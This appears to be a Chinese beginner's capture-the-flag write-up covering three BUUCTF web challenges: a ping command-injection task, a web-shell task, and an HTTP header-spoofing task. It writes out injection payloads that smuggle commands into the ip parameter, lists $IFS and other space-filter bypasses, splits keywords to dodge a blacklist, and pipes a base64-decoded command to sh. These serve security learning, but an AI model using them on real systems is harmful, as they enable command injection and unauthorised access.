C/C++教程

BUUCTF - web - PingPingPing+Knife+Http

本文主要是介绍BUUCTF - web - PingPingPing+Knife+Http,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

文章目录

  • 前言
  • PingPingPing
    • 分析
    • 构造payload
    • 其他方法
  • 白给的shell
  • Http
    • Repeater

前言

已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了
我会一直坚持下去
加油!

PingPingPing

分析

在这里插入图片描述

想到昨天做了一个ping加Linux命令,今天这个也可以试试
?ip=127.0.0.1|ls
在这里插入图片描述

尝试拿flag?ip=127.0.0.1|cat flag.php
在这里插入图片描述

看来空格被禁了,尝试绕过
在这里插入图片描述

换个绕过方法,这里选择先拿index.php?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述

有了,但正则不全,应该可以查看源码
在这里插入图片描述

可以看到绕过了各种符号、空格、bash和flag,而且flag是顺序匹配

构造payload

内联执行:反引号在linux中作为内联执行,执行输出结果

?ip=127.0.0.1|cat$IFS$9`ls`

如此会catls的结果
在这里插入图片描述

的确用这种方法拿到index.php了,但不见flag,应该藏到源码里了
在这里插入图片描述

得到flag{8c34c264-96a1-42c7-b5cf-7af02fd8a862}

其他方法

既然是绕过,就有多种绕过方法
上面提到需要绕过空格,我用了两种绕过方法,以下是绕过空格的整理:

{cat,flag.txt} 
cat$IFS$9flag.txt
cat${IFS}flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
//\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过

回到这个题
看源码得知顺序匹配了flag,那也可以交换flag四个字母的顺序
b=ag.php;a=fl;cat$IFS$9$a$b

还有一种方式可以绕过flag匹配,那就是编码
cat flag.phpbase64加密
原命令为:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
用空格绕过法填充空格
echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
总之方法很多,平时练题要多思考,感觉哪个题有意思可以做完后去找找别人写的WP,说不定有新收获

白给的shell

很无聊的一道题
在这里插入图片描述

帮他找菜刀
在这里插入图片描述

打开根目录拿到白给的flag
在这里插入图片描述

得到flag{f663edb8-d17f-4f6a-8845-dfa6ae0ca44a}

Http

在这里插入图片描述

一看到这就知道是套路,直接看源码
在这里插入图片描述
在这里插入图片描述

Repeater

It doesn't come from 'https://Sycsecret.buuoj.cn',那就把referer改成https://Sycsecret.buuoj.cn
在这里插入图片描述

Please use "Syclover" browser,那就把User-Agent改成Syclover
在这里插入图片描述

No!!! you can only read this locally!!!,那就添加X-Forwarded-For: 127.0.0.1
在这里插入图片描述

得到flag{33445841-508a-4a08-872b-52f013612cee}
一道比较基础的web题,可以请教一下烨神的博客

这篇关于BUUCTF - web - PingPingPing+Knife+Http的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!